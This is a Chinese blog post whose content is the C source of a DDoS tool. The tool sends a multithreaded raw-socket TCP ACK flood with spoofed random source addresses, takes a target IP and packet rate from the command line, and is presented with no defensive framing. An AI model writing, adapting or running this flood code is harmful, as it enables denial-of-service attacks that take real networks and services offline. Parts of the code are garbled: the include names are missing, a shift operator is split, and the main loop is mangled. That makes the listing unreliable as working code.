ACK DDOS攻击.c 2021年8月9日 08:13 • 智能运维 /* * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_PACKET_SIZE 65534 #define PHI 0x9e3779b9 static unsigned long int Q[4096], c = 362436; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; void init_rand(unsigned long int x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; } if(count > 0) { sum += *(unsigned char *)buf; } while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } return (unsigned short)(~sum); } unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { struct tcp_pseudo { unsigned long src_addr; unsigned long dst_addr; unsigned char zero; unsigned char proto; unsigned short length; } pseudohead; unsigned short total_len = iph->tot_len; pseudohead.src_addr=iph->saddr; pseudohead.dst_addr=iph->daddr; pseudohead.zero=0; pseudohead.proto=IPPROTO_TCP; pseudohead.length=htons(sizeof(struct tcphdr)); int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); unsigned short *tcp = malloc(totaltcp_len); memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); unsigned short output = csum(tcp,totaltcp_len); free(tcp); return output; } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = rand(); tcph->seq = rand(); tcph->ack_seq = rand(); tcph->res2 = 0; tcph->doff = 5; tcph->ack = 1; tcph->window = rand(); tcph->check = 0; tcph->urg_ptr = 0; } void *flood(void *par1) { char *td = (char *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = rand(); sin.sin_addr.s_addr = inet_addr(td); int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket./n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = rand(); iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!/n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); iph->saddr = (rand_cmwc() >> 24 & 0xFF) < < 24 | (rand_cmwc() >> 16 & 0xFF) < < 16 | (rand_cmwc() >> 8 & 0xFF) < < 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len); tcph->seq = rand_cmwc() & 0xFFFF; tcph->source = htons(rand_cmwc() & 0xFFFF); tcph->check = 0; tcph->check = tcpcsum(iph, tcph); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 5){ fprintf(stderr, "Improper ACK flood parameters!/n"); fprintf(stdout, "Usage: %s /n", argv[0]); exit(-1); } fprintf(stdout, "Setting up Sockets.../n"); int num_threads = atoi(argv[2]); int maxpps = atoi(argv[3]); limiter = 0; pps = 0; pthread_t thread[num_threads]; int multiplier = 100; int i; for(i = 0;i maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } 原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/57378.html 赞 (0) 0 生成海报 NSA局长:美军网络部队已处于战备状态 上一篇 2021年8月9日 ack DDOS攻击(另外一个版本).c 下一篇 2021年8月9日 相关推荐 首届“首都十大网络安全案件”评选揭晓 2021年8月9日 云服务器怎么使用yum 2021年11月20日 怎样进行MYSQL主从复制的搭建 2021年11月20日 如何利用代码实现手机访问自动跳转移动适应网页 2022年4月22日 Windows 10那么好用 你为啥不升级? 2021年8月9日 “中国电科杯”数据大赛十强项目系列报道之城市交通可达性资源挖掘 2021年8月7日 RedHat 第25期在线培训班—第二课 2021年11月2日 记一次Linux server偶发CPU飙升问题的跟进与解决 2022年7月31日 Xshell下vim异常问题记录 2022年8月26日 玩转百度云加速:如何接入使用百度云加速 2022年4月22日 发表回复 请登录后评论...登录后才能评论 提交